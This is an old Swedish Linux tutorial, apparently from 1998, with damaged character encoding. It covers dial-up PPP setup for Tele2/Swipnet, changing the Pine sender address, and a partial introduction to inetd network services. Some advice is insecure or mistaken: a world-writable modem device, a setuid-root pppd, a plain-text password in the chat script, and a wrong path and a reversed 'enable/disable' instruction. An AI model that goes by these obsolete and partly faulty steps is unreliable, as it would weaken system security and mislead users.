|||
|
Om telefonnumret <20>r korrekt (kontrollera filen /etc/ppp/provider), d<> kan det vara fel p<>
|
|||
|
loginnamnet eller l<>senordet (kontrollera samma fil och filen /etc/ppp/ppp-secrets) eller s<>
|
|||
|
kan det vara fel i sj<73>lva scriptet (skicka d<> ett brev till undertecknad med en felbeskrivning)
|
|||
|
|
|||
|
Om uppkopplingen fungerar med root men inga andra anv<6E>ndare (och du vill att inte bara root
|
|||
|
skall ha r<>tt att g<>ra uppkopplingen), d<> <20>r r<>ttigheterna p<> ett eller flera av kommandona och
|
|||
|
ev <20>ven p<> modem-enheten felaktiga. Du kan d<> antingen k<>ra om programmet eller <20>ndra
|
|||
|
r<EFBFBD>ttigheterna manuellt:
|
|||
|
|
|||
|
chmod 755 /usr/sbin/ppp-on /usr/sbin/ppp-off
|
|||
|
chmod 666 /dev/cuaX
|
|||
|
chmod 4755 /usr/sbin/pppd
|
|||
|
|
|||
|
Fels<EFBFBD>kning
|
|||
|
|
|||
|
Alla ppp-uppkopplingar loggas i filen /var/log/messages. Om n<>got kr<6B>nglar kan man allts<74>
|
|||
|
d<EFBFBD>r kontrollera vad som h<>nt. F<>r att l<>sa filen kan du t ex ge kommandot:
|
|||
|
less /var/log/messages
|
|||
|
Bl<EFBFBD>ddra dig fram till ppp-loggen med tryck p<> mellanslagstangenten eller anv<6E>nd
|
|||
|
s<EFBFBD>km<EFBFBD>jligheten (skriv /ppp inne i less).
|
|||
|
|
|||
|
|
|||
|
Anm<EFBFBD>rkningar
|
|||
|
|
|||
|
Detta <20>r en ej f<>rdigtestad programvara och inneh<65>ller sannolikt fel och kan s<>kert f<>rb<72>ttras
|
|||
|
p<EFBFBD> m<>nga olika s<>tt. F<>r att det skall bli m<>jligt att r<>tta buggar och inf<6E>ra f<>rb<72>ttringar kr<6B>vs
|
|||
|
dock att du som har synpunkter eller hittar fel meddelar undertecknad detta. <20>ven du som
|
|||
|
anv<EFBFBD>nt programmet med framg<6D>ng b<>r skicka mig ett meddelande om detta (uppge din
|
|||
|
leverant<EFBFBD>r), s<> att jag f<>r bekr<6B>ftelse p<> att det hela fungerar. Founder@lords.com
|
|||
|
|
|||
|
Good Luck!
|
|||
|
|
|||
|
Faktauppgifterna om de olika leverant<6E>rerna och grundscripten f<>r sj<73>lva uppkopplingen har
|
|||
|
jag fr<66>mst h<>mtat fr<66>n FAQ f<>r R20_LINUX - Linuxm<78>tet i Svenska fidonet
|
|||
|
Utan denna information skulle detta installationsprogram inte existerat.
|
|||
|
|
|||
|
|
|||
|
(Sammanst<73>lld av Bj<42>rn Lind*** Mars -98 -- uppdaterad h<>sten-98)
|
|||
|
Uppkoppling till Swipnet (Tele2) med PPP.
|
|||
|
|
|||
|
I den h<>r artikeln skall jag beskriva hur man t<>mligen sm<73>rtfritt f<>r sin
|
|||
|
uppkoppling till Tele2:s swipnet att fungera. Vi antar att din Linux-maskin
|
|||
|
<EFBFBD>r en frist<73>ende dator och att du har modem och ett Internet-konto hos Tele2.
|
|||
|
Dessa anvisningar fungerar ocks<6B> till Telia, men du f<>r ange annan DNS =
|
|||
|
namnserver, n<>mligen 10.0.0.1 och 10.0.0.2
|
|||
|
|
|||
|
F<EFBFBD>rberedelser
|
|||
|
|
|||
|
Kontrollera f<>rst att du har pppd installerat i k<>rnan och vilken version
|
|||
|
av pppd du k<>r med kommandot:
|
|||
|
$ /user/sbin/pppd version
|
|||
|
Detta kommando <20>r ett trick som ger ett felmeddelande men <20>ven versionsnumret.
|
|||
|
Om du k<>r Redhat finns pppd installerat. N<>sta steg <20>r att kolla att k<>rnan st<73>der
|
|||
|
ppp. Ge kommandot:
|
|||
|
$ dmesg | grep -i ppp
|
|||
|
Du skall f<> som svar:
|
|||
|
PPP: version 2.2.0 (dynamic channel allocation)
|
|||
|
PPP Dynamic channel allocation code copyright 1995 Caldera, Inc
|
|||
|
PPP Line discipline registered
|
|||
|
Om inte, kanske ppp <20>r installerat som modul. Logga in som root och testa:
|
|||
|
$ insmod ppp
|
|||
|
Om detta misslyckas, m<>ste du kompilera om k<>rnan f<>r att f<> ppp-st<73>d. L<>s i
|
|||
|
/usr/src/linux/README hur du g<>r detta. N<>r du konfigurerar k<>rnan skall du
|
|||
|
svara ja p<> f<>ljande rader:
|
|||
|
General setup --->
|
|||
|
[*] Networking support
|
|||
|
Network device support --->
|
|||
|
[*] Network device support
|
|||
|
<*> PPP (point-to-point) support
|
|||
|
|
|||
|
Dessa rader kan se annorlunda ut i icke-2.0 k<>rnor. N<>r du har kryssat f<>r dessa alternativ,
|
|||
|
skall du kompilera den nya k<>rnan. Se /usr/src/linux/README.
|
|||
|
Ok - d<> har du ppp-st<73>d installerat. D<> <20>r det dags se till att modemet finns p<> r<>tt port.
|
|||
|
Ofta <20>r musen installerad p<> com1 (cua0 i Linux) och d<> b<>r modemet vara kopplat till
|
|||
|
com2 (cua1 i Linux). Skapa nu en symbolisk l<>nk till modemet:
|
|||
|
# cd /dev
|
|||
|
# ln -sf /dev/cua1 /dev/modem
|
|||
|
|
|||
|
Minicom.
|
|||
|
|
|||
|
F<EFBFBD>r att installera modemet p<> r<>tt port, kan vi anv<6E>nda programmet minicom.
|
|||
|
Det <20>r ett terminalprogram som man kan anv<6E>nda f<>r att testa att modemet
|
|||
|
fungerar som det ska. Du kan <20>ven logga in p<> Swipnet f<>r att kontrollera hur
|
|||
|
inloggningen ser ut. Detta <20>r viktigt att k<>nna till n<>r man senare skall skriva ett
|
|||
|
inloggningsscript.
|
|||
|
|
|||
|
Om du k<>r Linux Redhat version 4.0 eller senare, kan du starta Xwindows
|
|||
|
och d<>r installera modemet via "controlpanel", inloggad som root.
|
|||
|
Kom ih<69>g com1=cua0 com2=cua1.
|
|||
|
Ok - du st<73>r vid prompten och <20>r inloggad som root. Skriv minicom <20>s
|
|||
|
D<EFBFBD> startar programmet minicom och du hamnar direkt i [configuration].
|
|||
|
V<EFBFBD>lj alternativet "serial port setup". F<>rsta inst<73>llningen d<>r <20>r "Serial Device".
|
|||
|
Det <20>r den viktigaste inst<73>llningen - vilken port ditt modem <20>r ansluten till.
|
|||
|
|
|||
|
L<EFBFBD>ngst ner st<73>r det "Change which setting?" Tryck A och skriv sedan in - /dev/modem
|
|||
|
Tryck sedan <enter> f<>r att konfirmera din inst<73>llning. Tryck sedan <esc> f<>r att
|
|||
|
l<EFBFBD>mna inst<73>llningen. Bl<42>ddra ner till "Exit". Tryck <Enter>. Programmet kommer
|
|||
|
att visa en ruta d<>r det st<73>r "Initializing modem" och s<> sm<73>ningom kommer
|
|||
|
du fram till en sk<73>rmsida som ser ut som nedan:
|
|||
|
|
|||
|
Welcome to minicom 1.75.
|
|||
|
|
|||
|
Press CTRL-A Z for help on special keys
|
|||
|
AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0
|
|||
|
OK
|
|||
|
Nu <20>r du klar att ringa upp med minicom. P<> raden under Ok, d<>r cursorn st<73>r och
|
|||
|
blinkar, skriver du in:
|
|||
|
|
|||
|
ATDTxxxxxxx (xxxxxx=telefonnumret till din Internetleverant<6E>r)
|
|||
|
Nu skall modemet koppla upp direkt och du skall hamna vid en login-prompt.
|
|||
|
|
|||
|
Username: H<>r skriver du in ditt kontonamn (s-xxxxx).
|
|||
|
Password: H<>r skriver du ditt l<>senord.
|
|||
|
Swipnet> Du <20>r inloggad.
|
|||
|
Du kan nu testa att skriva ? Du kommer att f<> en lista <20>ver de kommandon du kan
|
|||
|
anv<EFBFBD>nda. Men det <20>r inte s<> viktigt nu. Huvudsaken <20>r att du kopplades upp och
|
|||
|
att du hamnade vid login-prompten.
|
|||
|
Avsluta nu med quit och <20>terg<72> till din maskin. F<>r att avsluta minicom, trycker du
|
|||
|
CTRL+A>, sedan <Z>. D<> skall du f<> en meny d<>r du kan v<>lja olika alternativ.
|
|||
|
V<EFBFBD>lj X - dvs avsluta minicom.
|
|||
|
Du har nu kommit en bra bit p<> v<>g, att f<> en uppkoppling mot Internet att fungera.
|
|||
|
Om det ovanst<73>ende inte fungerar, <20>r du tvungen att kontrollera att ditt modem sitter i
|
|||
|
r<EFBFBD>tt port och att initieringsstr<74>ngen funkar med ditt modem. Om du har en manual f<>r
|
|||
|
modemet, b<>r du kontrollera d<>r hur initstr<74>ngen skall se ut. Defaultstr<74>ngen b<>r fungera
|
|||
|
som den <20>r, men man vet aldrig. F<>rhoppningsvis kopplade modemet ner p<> r<>tt s<>tt.
|
|||
|
Skulle inte detta vara fallet, kan du skriva ps vid prompten. Du f<>r d<> en f<>rteckning
|
|||
|
<EFBFBD>ver de processer som <20>r aktiva. D<>r skall du kunna se vilken process som anv<6E>nds av
|
|||
|
minicom - om den fortfarande <20>r aktiv. Skriv d<> kill och numret p<> processen s<> skall
|
|||
|
modemet koppla ner.
|
|||
|
|
|||
|
Konfigurera PPP
|
|||
|
|
|||
|
PPPd-programmet kan acceptera parametrar fr<66>n tv<74> st<73>llen. Dels direkt vid prompten,
|
|||
|
dels via en "options"-fil. Att skriva parametrarna vid prompten, kan vara b<>kigt, s<> jag
|
|||
|
visar hur man skriver en options-fil. Normala st<73>llet f<>r filen <20>r:
|
|||
|
/etc/ppp/options
|
|||
|
|
|||
|
Detta <20>r en enkel textfil som inneh<65>ller de parametrar som pppd anv<6E>nder vid
|
|||
|
uppkopplingen. Denna fil m<>ste vara l<>sbar f<>r alla som skall k<>ra pppd-programmet.
|
|||
|
F<EFBFBD>r det mesta <20>r det root. Om du inte har ett /etc/ppp-bibliotek, skapar du ett s<>dant
|
|||
|
(inloggad som root):
|
|||
|
# mkdir /etc/ppp
|
|||
|
# chown root:root /etc/ppp
|
|||
|
# chmod 755 /etc/ppp
|
|||
|
|
|||
|
Skapa en /etc/ppp/options -fil med vi, eller den editor som du f<>redrar. Denna fil skall inne-
|
|||
|
h<EFBFBD>lla parametrar som tex modemhastighet, port som modemet <20>r anslutet till, vilket script
|
|||
|
som handhar inloggningen och att du f<>r ett IP-nummer tilldelat dynamiskt av din
|
|||
|
Internetleverant<EFBFBD>r <20> i det h<>r fallet Tele2. Skriv in f<>ljande rader:
|
|||
|
debug
|
|||
|
/dev/cua1
|
|||
|
115200
|
|||
|
modem
|
|||
|
crtscts
|
|||
|
lock
|
|||
|
connect /etc/ppp/net-connect
|
|||
|
asyncmap 0
|
|||
|
defaultroute
|
|||
|
:
|
|||
|
Detta betyder:
|
|||
|
1. Du vill att ppp skall ge dig information n<>r det k<>rs
|
|||
|
2. Ditt modem <20>r kopplat till com2 (dos) eller cua1
|
|||
|
3. Modem-hastigheten <20>r 115200
|
|||
|
4. Du vill lyssna p<> Data Carrier Detect- signalen
|
|||
|
5. Du vill anv<6E>nda "nomal" handskakning (RTS/CTS)
|
|||
|
6. Du anv<6E>nder lock - prioritering f<>r modemet <20>ver andra program
|
|||
|
7. Ditt uppringningsprogram <20>r /etc/ppp/net-connect
|
|||
|
8. Du anv<6E>nder 8-bitars uppkoppling
|
|||
|
9. Defaultroute skall anv<6E>ndas
|
|||
|
10. Din internetleverant<6E>r tilldelar dig ett IP-nummer (dynamiskt tilldelat IP)
|
|||
|
Detta script <20>r t<>mligen ordin<69>rt f<>r en ppp-uppkoppling mot en ISP (Internet Service
|
|||
|
Provider) som tilldelar dig ett IP-nummer varje g<>ng du kopplar upp.(Dynamiskt tilldelat IP-
|
|||
|
nummer dvs du f<>r ett nytt IP-nummer vid varje tillf<6C>lle du kopplas upp. Alternativet <20>r fast
|
|||
|
IP-nummer - dock inte s<> vanligt).
|
|||
|
Ok - d<> k<>r vi vidare. Du skall nu skapa en fil kallad net-connect som pekar mot ett script
|
|||
|
som kallas chat.
|
|||
|
|
|||
|
Skapa filen med:
|
|||
|
|
|||
|
# cd /etc/ppp
|
|||
|
# vi net-connect
|
|||
|
Startar editorn vi med namnet p<> den fil du vill skapa dvs net-connect. N<>r programmet
|
|||
|
startas st<73>r du i kommandol<6F>ge. Tryck d<> <i> f<>r att hamna i inskrivningsl<73>ge. Skriv in:
|
|||
|
# ! /bin/sh
|
|||
|
/usr/sbin/chat -v -t 60 -f /etc/ppp/net-chat
|
|||
|
Avsluta vi med kommandot <esc : wq> (Tryck p<> esc-tangenten, d<>refter p<> :-tangenten
|
|||
|
och skriv wq vid :-tecknet l<>ngst ner p<> sidan). D<> sparas filen och vi avslutas. Skulle du
|
|||
|
skriva fel, kan du avsluta med <esc : q!> D<> avslutas programmet utan att n<>got sparas.
|
|||
|
Ok - d<> har du skapat en fil som heter net-connect. I den filen har du talat om att programmet
|
|||
|
chat pekar mot filen net-chat som du snart skall skapa. Chat-scriptet startas med
|
|||
|
argumenten -v = visar hur uppkopplingen g<>r direkt p<> sk<73>rmen, -t = tidsangivelse som anger
|
|||
|
hur l<>nge programmet skall v<>nta innan det avslutas om uppkopplingen skulle misslyckas,
|
|||
|
-f = talar om f<>r programmet chat namnet p<> den fil som skall anv<6E>ndas vid uppkopplingen,
|
|||
|
i det h<>r fallet, filen net-chat. Se till att filen <20>r l<>sbar och exekverbar av alla som kan starta
|
|||
|
pppd.
|
|||
|
|
|||
|
Skriv:
|
|||
|
# chmod 500 /etc/ppp/net-connect
|
|||
|
# chown root:root /etc/ppp/net-connect
|
|||
|
D<EFBFBD> skall du skapa en fil som heter net-chat som automatiskt sk<73>ter inloggningen till Swipnet.
|
|||
|
Starta vi och skriv in:
|
|||
|
TIMEOUT 50
|
|||
|
ABORT '\nBUSY\r'
|
|||
|
ABORT '\nNO ANSWER\r'
|
|||
|
ABORT '\nRINGING\r\n\r\n\RINGING\r'
|
|||
|
'' \rAT&C1&D2Q0V1X4 // obs '' = 2 st apostrofer utan mellanslag
|
|||
|
'OK-+++\c-OK' ATH0 // obs 0 = siffran
|
|||
|
OK 'ATDTxxxxxx' // xxxxx = ditt telefonnummer till Tele2
|
|||
|
CONNECT ''
|
|||
|
name: s-xxxxxx // H<>r skriver du in ditt inloggningsnamn
|
|||
|
word: xxxxxxxx // H<>r skriver du in ditt l<>senord
|
|||
|
net> PPP // obs - tabavst<73>nd mellan net> och PPP
|
|||
|
__________________________________________________________________________
|
|||
|
Viktigt att du skriver exakt som det st<73>r h<>r ovan. Slarva inte h<>r - d<> f<>r du problem senare
|
|||
|
t.ex att modemet kopplar ner utan f<>rvarning.
|
|||
|
__________________________________________________________________________
|
|||
|
Spara filen. Nu skall det mesta vara klart f<>r att du skall kunna koppla upp dig mot swipnet.
|
|||
|
F<EFBFBD>rst skall dock r<>ttigheterna till filen <20>ndras f<>r att den som skall anv<6E>nda pppd, skall ha
|
|||
|
tillg<EFBFBD>ng till filen.
|
|||
|
# chown root:root /etc/ppp/net-chat
|
|||
|
# chmod 600 /etc/ppp/net-chat
|
|||
|
|
|||
|
En detalj <20>terst<73>r innan du kan testa uppkopplingen. Du <20>r tvungen att ange en nameserver
|
|||
|
och dess IP-nummer. Namn och nummer p<> servern har du f<>tt fr<66>n Tele2 n<>r du k<>pte ditt
|
|||
|
abonnemang.
|
|||
|
N<EFBFBD>stan l<>ngst ner p<> dessa uppgifter, ser du raden Namnserver 192.71.220.10 Detta IP-
|
|||
|
nummer
|
|||
|
skall du l<>gga till i en fil som heter resolv.conf som finns i katalogen /etc.
|
|||
|
# cd /etc
|
|||
|
# vi resolv.conf
|
|||
|
nameserver 192.71.220.10
|
|||
|
nameserver 130.244.127.161 // Ny namnserver hos Tele2
|
|||
|
nameserver 130.244.127.169 // Ny namnserver hos Tele2
|
|||
|
F<EFBFBD>r er som har Telia som leverant<6E>r - ange ist<73>llet ip-nummer till
|
|||
|
10.0.0.1 och 10.0.0.2
|
|||
|
Avsluta och spar filen. Nu <20>r du redo att testa uppkopplingen. Skriv vid prompten:
|
|||
|
# pppd
|
|||
|
|
|||
|
Skulle inte detta funka - testa:
|
|||
|
# /usr/sbin/pppd
|
|||
|
Nu skall modemet koppla upp och inloggningen till swipnet ske automatiskt.
|
|||
|
Du kan h<>lla <20>gonen p<> modemet f<>r att se att det kopplar upp p<> r<>tt s<>tt och att
|
|||
|
det inte kopplar ner igen. V<>nta en stund s<> att du <20>r s<>ker p<> att uppkopplingen har
|
|||
|
lyckats och <20>r stabil. Du kan nu testa din uppkoppling med ett program som heter ifconfig.
|
|||
|
# /sbin/ifconfig
|
|||
|
Du skall d<> f<> en lista p<> de uppkopplingar du har. Din ppp-uppkoppling syns som:
|
|||
|
ppp0 Link encap:Point-to-Point Protocol
|
|||
|
inet addr:192.71.220.24 P-t-P:192.71.220.10 Mask:255.255.0.0
|
|||
|
UP POINTOPOINT RUNNING MTY:1500 Metric:1
|
|||
|
RX packets:106519 errors:0 dropped:0 overruns:0
|
|||
|
TX packets.111873 errors:0 dropped:0 overruns:0
|
|||
|
Du ser nu att du <20>r uppkopplad. Du kan ocks<6B> se vilken IP-adress din dator har
|
|||
|
tilldelats vid inet addr:192.71.220.24 Om uppkopplingen inte fungerar, kan du g<>
|
|||
|
till /var/log/messages och l<>sa den filen f<>r att se vad som eventuellt har g<>tt fel.
|
|||
|
Men om du har Linux Redhat och din Internet-leverant<6E>r <20>r Tele2, skall det h<>r fungera bra.
|
|||
|
|
|||
|
Ett annat s<>tt att kontrollera uppkopplingen, <20>r att anv<6E>nda programmet ping.
|
|||
|
#ping 192.71.220.10 // Detta <20>r IP-numret till Swipnets namnserver
|
|||
|
PING 192.71.220.10 (192.71.220.24) 56 data bytes
|
|||
|
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=437.0 ms
|
|||
|
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=421.4 ms
|
|||
|
64 bytes from 192.71.220.24: icmp_seq=0 ttl=64 time=430.9 ms
|
|||
|
^C #avsluta med ctrl+c
|
|||
|
3 packets transmitted, 3 packets received, 0% packet loss
|
|||
|
round-trip min/avg/max = 421.4/437.0/430.9 ms
|
|||
|
F<EFBFBD>r att avsluta - skriv ps vid prompten(som root). Du ser d<> de aktiva processerna.
|
|||
|
Kolla in vilket pidnummer din pppd-process har och skriv sedan kill 345
|
|||
|
eller det nummer som din pppd-process har. D<> skall modemet koppla ner.
|
|||
|
Varje program som k<>rs eller <20>r aktivt, har sitt eget pid-nummer. (Process Identification
|
|||
|
Number). Om du n<>gon g<>ng f<>r problem med att ett program h<>nger sig eller inte
|
|||
|
avslutas, kan du manuellt "d<>da" programmet med kommandot kill.
|
|||
|
kill -9 pidnr <20>r ett annat s<>tt att "d<>da" f<>rbindelsen om det vanliga kill inte skulle
|
|||
|
koppla ner ditt modem.
|
|||
|
|
|||
|
En annan variant <20>r att logga in p<> n<>sta virituella konsoll och d<>rifr<66>n "d<>da" programmet
|
|||
|
om du tex fastnar "inuti" ett program och inte kan avsluta med kill-kommandot. Detta kan
|
|||
|
h<EFBFBD>nda n<>r du kopplar upp dig och servern inte svarar p<> dina kommandon. Ett annat s<>tt
|
|||
|
kan vara att helt enkelt sl<73> av modemet och anv<6E>nda kill f<>r att avsluta processen.
|
|||
|
Med Redhat f<>ljer script som du kan anv<6E>nda f<>r upp- och nerkoppling. Jag anv<6E>nder
|
|||
|
sj<EFBFBD>lv ppp-off f<>r att "st<73>nga" min f<>rbindelse till Internet. S<>k efter ppp-off med
|
|||
|
kommandot locate - det skall ligga i /usr/doc/ppp-2.2.0f/scripts/ om du har Redhat 5.0
|
|||
|
Kopiera scriptet till tex din hemkatalog med kommandot
|
|||
|
$ cp /usr/doc/ppp-2.2.0f/scripts/ppp-off /home/anv<6E>ndare
|
|||
|
Scriptet kan du sedan anv<6E>nda utan modifieringar f<>r att koppla ner -
|
|||
|
$ ppp-off
|
|||
|
Modemet kopplar d<> ner f<>rbindelsen.
|
|||
|
Scriptet ppp-on kan du ocks<6B> anv<6E>nda efter modifieringar, men eftersom pppd som
|
|||
|
kommando <20>r lika l<>tt att anv<6E>nda, skippar jag sj<73>lv ppp-on
|
|||
|
|
|||
|
Om du vill ge anv<6E>ndare m<>jlighet att koppla upp sig mot Internet, b<>r du ge
|
|||
|
dessa anv<6E>ndare r<>ttigheter att anv<6E>nda de olika scripten som beskrivits ovan.
|
|||
|
Men t<>nk p<> att du inte "ger bort" l<>sr<73>ttigheter om du inte vill skylta med
|
|||
|
l<EFBFBD>senordet f<>r alla <20>vriga anv<6E>ndare.
|
|||
|
Jag <20>r sj<73>lv ensam anv<6E>ndare p<> min Linux-burk s<> jag beh<65>ver inte detta
|
|||
|
"skydd", men det <20>r "s<>krare" att anv<6E>nda uppkoppling som anv<6E>ndare <20>n
|
|||
|
som root. Dessutom kan du st<73>ta p<> problem n<>r du anv<6E>nder epost-program
|
|||
|
som tex Pine, d<> avs<76>ndaren kommer att bli root om du k<>r uppkoppling och
|
|||
|
epost-program som root. Det finns s<>kert n<>got s<>tt att <20>ndra avs<76>ndare,
|
|||
|
men jag har sj<73>lv inte lyckats f<> reda p<> hur.S<> d<>rf<72>r har jag skapat en anv<6E>ndare
|
|||
|
som motsvarar mitt epost-namn, (bjorn.lindblom@xxxxx.se) och slingrar mig d<>rmed
|
|||
|
runt detta problem.
|
|||
|
|
|||
|
Jag har nu f<>tt reda p<> hur man kan byta avs<76>ndare p<> e-posten i Pine.
|
|||
|
<EFBFBD>ppna .pinerc som du har i din hemkatalog - g<> ner till Preferences och under
|
|||
|
feature-list= , skriver du in allow-changing-from. Sedan vidare ner till customized-hdrs=
|
|||
|
d<EFBFBD>r du skriver in From: Det namn du vill se som avs<76>ndare tex From:Jag
|
|||
|
och sedan Reply-To: anv<6E>ndarnamn tex Reply-To: Jag. Detta g<>r att n<>r du skickar
|
|||
|
ett meddelande, kommer detta meddelande att ha som avs<76>ndare det namn du anger h<>r.
|
|||
|
|
|||
|
Allts<EFBFBD>:
|
|||
|
|
|||
|
1. <20>ppna .pinerc som du har i hemkatalogen, tex med
|
|||
|
# vi .pinerc
|
|||
|
2. G<> ner till preferences
|
|||
|
3. Under feature-list - skriv in allow-changing-from
|
|||
|
4. G<> till customized-headers= d<>r du skriver in From:ditt-namn@xxxxx
|
|||
|
och Reply-To:ditt-namn@xxxxx
|
|||
|
Nu kommer Pine visa dessa rader i headern n<>r du skickar epost och mottagaren kan trycka p<>
|
|||
|
svara utan att bry sig om den adress han svarar till, och meddelandet kommer till den adress
|
|||
|
du specificerat under Reply-To.
|
|||
|
|
|||
|
|
|||
|
Du kan ocks<6B> testa din uppkoppling med l<>saren lynx. Skriv d<> -
|
|||
|
# lynx http://home1.swipnet.se/~w-13264/ppp.htm
|
|||
|
Du skall d<> komma till den h<>r filen i txt-format, om allt funkar som det ska.
|
|||
|
Du kan ocks<6B> h<>mta hem Netscape f<>r Linux p<> Netscapes hemsida -
|
|||
|
Netscape och installera den efter de anvisningar som medf<64>ljer programmet.
|
|||
|
Starta sedan xwindows och via term-f<>nstret kan du k<>ra Netscape.
|
|||
|
|
|||
|
Sammanfattning:
|
|||
|
|
|||
|
1. # dmesg | grep -i ppp Kolla om k<>rnan st<73>der ppp
|
|||
|
2. minicom Manuell uppkoppling mot ISP
|
|||
|
3. /etc/ppp/options Uppkopplings-parametrar
|
|||
|
4. /etc/ppp/net-connect Fil som chat anv<6E>nder vid uppkopplingen.
|
|||
|
5. /etc/ppp/net-chat Inloggningsscript.
|
|||
|
6. /etc/resolv.conf Namnserver med IP-nummer.
|
|||
|
7. /sbin/ifconfig Kontroll av uppkoppling.
|
|||
|
8. ping Kontroll av uppkoppling.
|
|||
|
|
|||
|
|
|||
|
Om du har fler datorer och vill anv<6E>nda din Linux-burk som gateway mot Internet,
|
|||
|
kan du kolla p<> min enkla beskrivning hur du anv<6E>nder Ip-Masquerade f<>r att utnyttja
|
|||
|
hela ditt lokala n<>t mot Internet.IP-Masquerade
|
|||
|
Nu kanske det <20>r dags att fixa din e-post ox<6F> och jag visar h<>r hur man anv<6E>nder
|
|||
|
Fetchmail och Pine f<>r detta.
|
|||
|
Lycka till och lev lugnt!
|
|||
|
|
|||
|
|
|||
|
N<EFBFBD>tverkstj<EFBFBD>nster
|
|||
|
|
|||
|
Vilka n<>tverkstj<74>nster som finns tillg<6C>ngliga beror givetvis i f<>rsta hand p<> vilka du har
|
|||
|
installerat. I andra hand <20>r det demonen inetd som best<73>mmer vad som ska finnas tillg<6C>ngligt.
|
|||
|
En demon <20>r ett program som hela tiden ligger i bakgrunden och utf<74>r en del grejor p<>
|
|||
|
kommando, inetd startar t.ex. upp ftp-servern n<>r n<>gon eller n<>got f<>rs<72>ker komma <20>t port
|
|||
|
21. S<>kerhetsm<73>ssigt ska du ha s<> f<> servrar tillg<6C>ngliga som m<>jligt: ju fler d<>rrar desto
|
|||
|
st<EFBFBD>rre chans att n<>gon bryts upp.
|
|||
|
|
|||
|
S<EFBFBD>kerheten <20>r n<>gonting som du m<>ste t<>nka p<> hela tiden. Det <20>r inget l<>tt <20>mne, varken i
|
|||
|
Linux eller i n<>got annat system. Problemet <20>r ocks<6B> att om du v<>ljer ett system som <20>r enkelt
|
|||
|
att konfigurera s<>kerhet p<>, <20>r risken stor att du blir lurad av falsk s<>kerhet. Vissa system <20>r
|
|||
|
dessutom mer utprovade <20>n andra. Sedan m<>ste du givetvis se till att ha program utan
|
|||
|
s<EFBFBD>kerhetsh<EFBFBD>l.
|
|||
|
|
|||
|
Varje g<>ng du uppr<70>ttar en f<>rbindelse mot n<>gon server, t.ex. en teleserver, kontaktar du en
|
|||
|
speciell port. N<>r servern m<>rker att du f<>rs<72>ker n<> port 23 kommer den, lite f<>renklat, att
|
|||
|
vidarebefordra dig till telnetservern. I detta fall <20>r servern ett program. (en demon).
|
|||
|
|
|||
|
Inetd konfigureras i filen /etc/inetd.conf. Konfigurationsfilen <20>r ganska l<>tt att <20>ndra i;
|
|||
|
Titta bara p<> hur de andra programmen <20>r konfigurerade.
|
|||
|
|
|||
|
|
|||
|
# cat /etc/inetd.conf | grep telnet
|
|||
|
telnet stream tcp nowait root /usr/sbin/in.telnetd
|
|||
|
# cat /etc/services | grep telnet
|
|||
|
telnet 23/tcp
|
|||
|
|
|||
|
(Du f<>r l<>ra dig mer om telnet och GREP kommandot senare i HM).
|
|||
|
|
|||
|
F<EFBFBD>rsta f<>ltet anger vilken tj<74>nst det handlar om; se /etc/services efter vilka tj<74>nster som finns.
|
|||
|
Att det st<73>r telnet inneb<65>r att resten av av raden g<>ller n<>r n<>gon f<>rs<72>ker komma <20>t port 23.
|
|||
|
Annars <20>r det bara det sista f<>ltet som <20>r intressant, dvs s<>kv<6B>gen till programmet inetd skall
|
|||
|
starta. Titta igenom /etc/inetd.conf och kommentera ut allt du inte beh<65>ver. Ta sedan reda p<>
|
|||
|
demonens PID-nummer och starta om den med kill <20>SIGHUP <PID>.
|
|||
|
|
|||
|
Du kan prova kommandot netstat om du vill se vilka tj<74>nster som <20>r aktiva.
|
|||
|
|
|||
|
Ok, ni som inte har f<>rst<73>tt ett stouft, v<>nta bara. Jag kommer l<>ra er detta s<> sm<73>ningom i
|
|||
|
n<EFBFBD>sta nummer eller s<>, sedan f<>r du g<> tillbaka och kolla igen. Jag hade som en liten
|
|||
|
<EFBFBD>uppgift<EFBFBD> av ett flertal l<>sare som ville ha lite mer <20>avancerad text<78>. Detta <20>r inte s<>rskiljt
|
|||
|
avancerat. ;-). Men det uppfyller nog de flestas krav. F<>r er som har b<>rjat med Linux och
|
|||
|
kan grunderna.
|
|||
|
|
|||
|
Det ing<6E>r m<>nga olika tj<74>nster, h<>r <20>r ett urval:
|
|||
|
|
|||
|
FTP <20> File Transfer Protocol, v<>ldigt vanligt p<> Internet. I detta fall handlar det om en
|
|||
|
FTP-server. Kolla om du har en FTP ig<69>ng genom att k<>ra ftp 127.0.0.1 . Det <20>r en
|
|||
|
potentiell s<>kerhetsrisk och om du inte beh<65>ver en ftp-server anser jag att du b<>r aktivera
|
|||
|
p<EFBFBD> n<>got s<>tt, s<>som att kommentera ftp-raden i inetd-konfigurationfil. (G<>r s<> att den
|
|||
|
ignoreras av systemet). Om du beh<65>ver en ftp-server <20>r det viktigt att den konfigureras r<>tt,
|
|||
|
h<EFBFBD>ll <20>ven ett <20>ga p<> uppdateringar om n<>gon s<>kerhetsbugg skulle uppt<70>ckas.
|
|||
|
|
|||
|
TELNET <20> Telnet anv<6E>nds om man vill logga in p<> en annan dator, en telnet-server <20>r
|
|||
|
s<EFBFBD>ledes ett program som l<>ter n<>gon annan logga in p<> din dator genom telnet.
|
|||
|
Du b<>r inte g<>rna anv<6E>nda telnet, utan anv<6E>nd i st<73>llet Secure SHell. (SSH), som anv<6E>nder
|
|||
|
stark kryptering. Utan kryptering <20>r det m<>jligt f<>r folk att snappa upp inloggningsnamn
|
|||
|
och l<>senord eftersom dessa skickas i klartext ut <20>ver Internet. (Mer om det i n<>sta bok).
|
|||
|
En del Internetleverant<6E>rer l<>ter dig telnetta till deras datorer och anv<6E>nda dem.
|
|||
|
Telnet anv<6E>nds allts<74> om man vill logga in p<> en annan dator via n<>tverk.
|
|||
|
Fungerar p<> samma s<>tt som n<>r du loggar in p<> din egen.
|
|||
|
|
|||
|
FINGER <20> Finger <20>r en slags f<>reg<65>ngare till personliga hemsidor. Man k<>rde
|
|||
|
Finger kalle@datornamn f<>r att f<> se kalles personliga .plan-fil. <20>ven finger <20>r ett
|
|||
|
potentiellt s<>kerhetsh<73>l. Prova att k<>ra finger p<> dig sj<73>lv p<> din egen dator,
|
|||
|
finger ditt_namn@localhost.
|
|||
|
|
|||
|
SMTP <20> Smtp anv<6E>nds f<>r att transportera E-mail, det finns SMTP-servrar till Linux.
|
|||
|
Sendmail, qmail och smail <20>r nog de vanligaste. Med en s<>dan kan du s<>tta upp en
|
|||
|
mailserver. En smtp-server kan vara v<>ldigt sv<73>r att konfigurera; det <20>r dessutom v<>ldigt
|
|||
|
